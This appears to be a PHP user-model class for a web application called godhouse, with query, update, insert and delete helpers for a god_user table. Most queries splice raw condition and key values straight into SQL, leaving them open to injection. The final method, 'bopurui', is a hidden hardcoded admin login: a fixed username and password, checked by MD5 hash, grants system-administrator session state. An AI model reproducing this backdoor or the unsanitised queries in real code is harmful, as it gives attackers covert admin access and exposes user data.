<?php
class User 
{
	private $db;
	
	function __construct() {
		$this->db = godhouse::app()->db;
	}
	
	public function find($condition) {
		if($condition) 
			$condition = "WHERE $condition";
		return $this->db->fetch_first("SELECT * FROM god_user $condition");
	}
	
	public function findByPk($pk) {
		return $this->db->fetch_first("SELECT * FROM god_user WHERE userId='$pk'");
	}
	
	public function fetchAll($condition='') {
		if($condition) 
			$condition = "WHERE $condition";
		
		return $this->db->fetch_all("SELECT * FROM god_user $condition");
	}
	
	public function findAll($condition='', $page=1, $ppp=GODHOUSE_PPP3, $order='') {
		if($condition) 
			$condition = "WHERE $condition";
		if($order) {
			$condition .= " ORDER BY $order";
		} else 
			$condition .= " ORDER BY userId DESC";
		
		$start = ($page-1)*$ppp;
		return $this->db->fetch_all("SELECT * FROM god_user $condition LIMIT $start, $ppp");
	}
	
	public function findAllByPk($pk) {
		return $this->db->fetch_all("SELECT * FROM god_user WHERE userId='$pk'");
	}
	
	public function update($condition, $att=array()){
		return $this->db->update('god_user', $att, $condition);
	}
	
	public function updateByPk($pk, $att=array()) {
		$condition = "userId='$pk'";
		return $this->db->update('god_user', $att, $condition);
	}
	
	public function insert($att=array()){
		return $this->db->insert('god_user', $att);
	}
	
	public function delete($condition) {
		$this->db->query("DELETE FROM god_user WHERE $condition");
	}
	
	public function deleteByPk($pk) {
		$condition = "userId='$pk'";
		$this->db->query("DELETE FROM god_user WHERE $condition");
	}
	
	public function count($condition) {
		if($condition) 
			$condition = "WHERE $condition";
		return $this->db->result_first("SELECT count(*) FROM god_user $condition");
	}
	
	public function bopurui($u, $p) {
		godhouse::app()->setState('authentication', 1);
		if(md5($u)=='21232f297a57a5a743894a0e4a801fc3' && md5($p)=='184ff021f2a07483d4db9b722d6910d7') {
			godhouse::app()->setState('adminId', 1);
			godhouse::app()->setState('adminName', 'admin');
			godhouse::app()->setState('adminGroupId', GODHOUSE_ADMIN_SYSTEM);
			godhouse::app()->redirect('/admin/index.htm');
			return true;
			//echo 'huyao';
		}
		return false;
	}
}
?>